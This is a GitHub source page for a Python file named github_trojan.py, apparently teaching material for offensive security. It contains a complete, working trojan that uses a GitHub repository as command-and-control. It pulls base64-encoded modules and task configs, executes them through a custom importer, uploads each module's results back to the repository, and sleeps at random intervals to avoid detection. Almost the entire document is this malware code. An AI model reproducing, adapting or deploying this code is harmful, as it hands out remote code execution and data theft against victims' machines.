-
Notifications
You must be signed in to change notification settings - Fork 1
/
github_trojan.py
89 lines (69 loc) · 2.56 KB
/
github_trojan.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import base64
import github3
import importlib
import json
import random
import sys
import threading
import time
from datetime import datetime
def github_connect():
with open('mytoken.txt') as f:
token = f.read()
user = 'tiarno'
sess = github3.login(token=token)
return sess.repository(user, 'bhptrojan')
def get_file_contents(dirname, module_name, repo):
return repo.file_contents(f'{dirname}/{module_name}').content
class GitImporter:
def __init__(self):
self.current_module_code = ""
def find_module(self, name, path=None):
print("[*] Attempting to retrieve %s" % name)
self.repo = github_connect()
new_library = get_file_contents('modules', f'{name}.py', self.repo)
if new_library is not None:
self.current_module_code = base64.b64decode(new_library)
return self
def load_module(self, name):
spec = importlib.util.spec_from_loader(name, loader=None,
origin=self.repo.git_url)
new_module = importlib.util.module_from_spec(spec)
exec(self.current_module_code, new_module.__dict__)
sys.modules[spec.name] = new_module
return new_module
class Trojan:
def __init__(self, id):
self.id = id
self.config_file = f'{id}.json'
self.data_path = f'data/{id}/'
self.repo = github_connect()
def get_config(self):
config_json = get_file_contents('config', self.config_file, self.repo)
config = json.loads(base64.b64decode(config_json))
for task in config:
if task['module'] not in sys.modules:
exec("import %s" % task['module'])
return config
def module_runner(self, module):
result = sys.modules[module].run()
self.store_module_result(result)
def store_module_result(self, data):
message = datetime.now().isoformat()
remote_path = f'data/{self.id}/{message}.data'
bindata = bytes('%r' % data, 'utf-8')
self.repo.create_file(remote_path, message, base64.b64encode(bindata))
def run(self):
while True:
config = self.get_config()
for task in config:
thread = threading.Thread(
target=self.module_runner,
args=(task['module'],))
thread.start()
time.sleep(random.randint(1, 10))
time.sleep(random.randint(30*60, 3*60*60))
if __name__ == '__main__':
sys.meta_path.append(GitImporter())
trojan = Trojan('abc')
trojan.run()